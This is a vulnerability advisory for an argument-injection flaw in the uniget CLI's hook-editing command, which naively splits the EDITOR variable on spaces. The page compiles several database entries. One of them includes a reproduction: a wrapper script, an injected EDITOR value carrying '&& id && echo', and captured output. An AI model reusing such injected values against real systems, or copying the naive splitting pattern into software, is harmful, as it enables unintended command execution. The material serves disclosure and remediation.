1.0low
uniget: EDITOR Command Injection in uniget CLI
- Severity
- 1.0low CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.17% (higher than 6% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-qmcq-xw74-w667GO-2026-6248
Description
uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go parses UNIGET_EDITOR or EDITOR with strings.Split(editor, " ") and passes every space-delimited suffix as an argument to the selected editor executable. An attacker who can influence the editor environment and cause hook editing can supply unexpected editor arguments, potentially causing unintended actions with the privileges of the uniget process account. Go os/exec does not evaluate shell operators in these arguments, so the advisory's wrapper demonstration establishes argument delivery but does not establish shell command interpretation. This issue is fixed in version 0.27.6.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| uniget-org cli | < 0.27.6 | CVE List |
| gitlab.com/uniget-org/cli (Go) | before 0.27.6 | GitHub Advisory Database, Go Vulnerability Database |
All scores
| GitHub_M | 1.0low CVSS:4.0 | CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N |
| GitHub | medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N |
Classification
SSVC (CISA-ADP): exploitation none, automatable no, technical impact partial.
What each source says
CVE List
uniget is a universal installer and updater for (container) tools. Prior to 0.27.6, the hooks edit command in cmd/uniget/hooks.go parses UNIGET_EDITOR or EDITOR with strings.Split(editor, " ") and passes every space-delimited suffix as an argument to the selected editor executable. An attacker who can influence the editor environment and cause hook editing can supply unexpected editor arguments, potentially causing unintended actions with the privileges of the uniget process account. Go os/exec does not evaluate shell operators in these arguments, so the advisory's wrapper demonstration establishes argument delivery but does not establish shell command interpretation. This issue is fixed in version 0.27.6.
GitHub Advisory Database
Summary
The uniget CLI has a command injection vulnerability in hooks.go line 199 where strings.Split(editor, " ") naively parses the EDITOR environment variable without respecting shell syntax. An attacker can set EDITOR="/path/to/wrapper && id && echo" which gets split into separate arguments, allowing the wrapper script to execute arbitrary commands like id. This was successfully exploited to execute uid=1000(w4nn4d13), confirming code execution is possible. The vulnerability affects hook editing and breaks configurations with modern editors like VSCode.
Vulnerable Code:
editorWithArgs := strings.Split(editor, " ")
Location Context:
editor := os.Getenv("UNIGET_EDITOR")
if len(editor) == 0 {
editor = os.Getenv("EDITOR")
}
editorWithArgs := strings.Split(editor, " ") // ← VULNERABLE
command := exec.Command(editorWithArgs[0], editorWithArgs[1:]...)
Issue: Naive space-splitting allows injection. EDITOR="script && id && echo" splits into ["script", "&&", "id", "&&", "echo"] enabling command execution.
Step to Reproduce
**Step 1: **Create malicious editor wrapper
mkdir -p /tmp/poc-editor
cat > /tmp/poc-editor/editor_wrapper.sh << 'EOF'
#!/bin/bash
echo "[EDITOR] Received args: $@"
id
EOF
chmod +x /tmp/poc-editor/editor_wrapper.sh
**Step 2: **Create test hook
mkdir -p ~/.config/uniget/hooks/pre-install
cat > ~/.config/uniget/hooks/pre-install/test.sh << 'EOF'
#!/bin/bash
echo "Test hook"
EOF
chmod 700 ~/.config/uniget/hooks/pre-install/test.sh
Step 3: Set injection payload
export EDITOR="/tmp/poc-editor/editor_wrapper.sh && id && echo"
Step 4: Run vulnerable code
cd /home/w4nn4d13/Downloads/cli
go build -o uniget ./cmd/uniget
./uniget hooks edit --type=pre-install test.sh
Step 5: Observe output
[EDITOR] Received args: && id && echo /path/to/hook
uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),65534(nfsnobody)
imageGo Vulnerability Database
uniget CLI has an EDITOR Command Injection in gitlab.com/uniget-org/cli
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-55061 changed 2026-09-18 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-qmcq-xw74-w667 changed 2026-08-18 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2026-6248 changed 2026-08-18 | CC-BY-4.0 |
| NVD | CVE-2026-55061 changed 2026-09-24 | Public domain |